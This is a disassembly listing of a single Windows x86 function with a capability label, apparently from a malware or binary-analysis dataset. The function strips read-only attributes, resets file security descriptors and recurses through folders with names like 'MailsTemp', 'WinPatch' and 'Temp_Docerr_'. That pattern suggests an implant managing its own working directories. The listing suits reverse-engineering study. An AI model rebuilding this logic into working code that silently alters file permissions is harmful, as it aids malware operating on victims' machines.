Function at 0x408910
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x350
push ebx
push ebp
mov ebp, dword [esp + 0x35c]
push esi
test ebp, ebp
push edi
je 0x408bb1
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x408bb1
push eax
push eax
push eax
push eax
mov dword [esp + 0x20], eax
push eax
lea eax, [esp + 0x24]
push eax
push ebp
call fcn.00404840
mov eax, dword [esp + 0x2c]
add esp, 0x1c
cmp eax, 0xffffffff
je 0x40896d
test al, 1
je 0x40896d
and al, 0xfe
push eax
push ebp
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [esp + 0x36c]
mov edx, dword [esp + 0x368]
push ecx
push edx
push ebp
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
mov ebx, eax
test ebx, ebx
je 0x408ba4
mov eax, dword [esp + 0x10]
and eax, 0x10
cmp al, 0x10
je 0x4089a6
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x350
ret
push 0x5c
push ebp
call fcn.004181d7
mov esi, eax
add esp, 8
test esi, esi
je 0x408a83
inc esi
push str.mails
push esi
call fcn.00418042
add esp, 8
test eax, eax
je 0x408a76
push str.MailsTemp
push esi
call fcn.00418042
add esp, 8
test eax, eax
je 0x408a76
push str.MailsLeave
push esi
call fcn.00418042
add esp, 8
test eax, eax
je 0x408a76
push str.files
push esi
call fcn.00418042
add esp, 8
test eax, eax
je 0x408a76
push str.WinPatch
push esi
call fcn.00418042
add esp, 8
test eax, eax
je 0x408a76
push str.tsdocbak
push esi
call fcn.00418042
add esp, 8
test eax, eax
je 0x408a76
push 0x4dfe80
push esi
call fcn.00418042
add esp, 8
test eax, eax
je 0x408a76
push 0x4dfe78
push esi
call fcn.00418042
add esp, 8
test eax, eax
je 0x408a76
mov edi, str.Temp_Docerr_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.Temp_Docerr_
push esi
call fcn.00417c13
add esp, 0xc
test eax, eax
jne 0x408a83
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x350
ret
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x159]
mov byte [esp + 0x158], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebp
push 0x4dfe60
lea ecx, [esp + 0x160]
push 0x103
push ecx
stosb byte es:[edi], al
call fcn.00417ff1
add esp, 0x10
test eax, eax
jl 0x408bb1
mov ecx, 0x4f
xor eax, eax
lea edi, [esp + 0x1c]
mov dword [esp + 0x18], 0
rep stosd dword es:[edi], eax
lea edx, [esp + 0x18]
lea eax, [esp + 0x158]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x408ba4
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea ecx, [esp + 0x44]
push 0x4dfbdc
push ecx
call esi
test eax, eax
je 0x408b7d
lea edx, [esp + 0x44]
push 0x4dfbd8
push edx
call esi
test eax, eax
je 0x408b7d
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x25d]
mov byte [esp + 0x25c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x44]
lea ecx, [esp + 0x25c]
push eax
push ebp
push str._s_s
push 0x103
push ecx
call fcn.00417ff1
add esp, 0x14
test eax, eax
jl 0x408b7d
mov edx, dword [esp + 0x36c]
mov eax, dword [esp + 0x368]
push edx
lea ecx, [esp + 0x260]
push eax
push ecx
call fcn.00408910
add esp, 0xc
mov ebx, eax
test ebx, ebx
je 0x408b99
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408afc
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x350
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x350
ret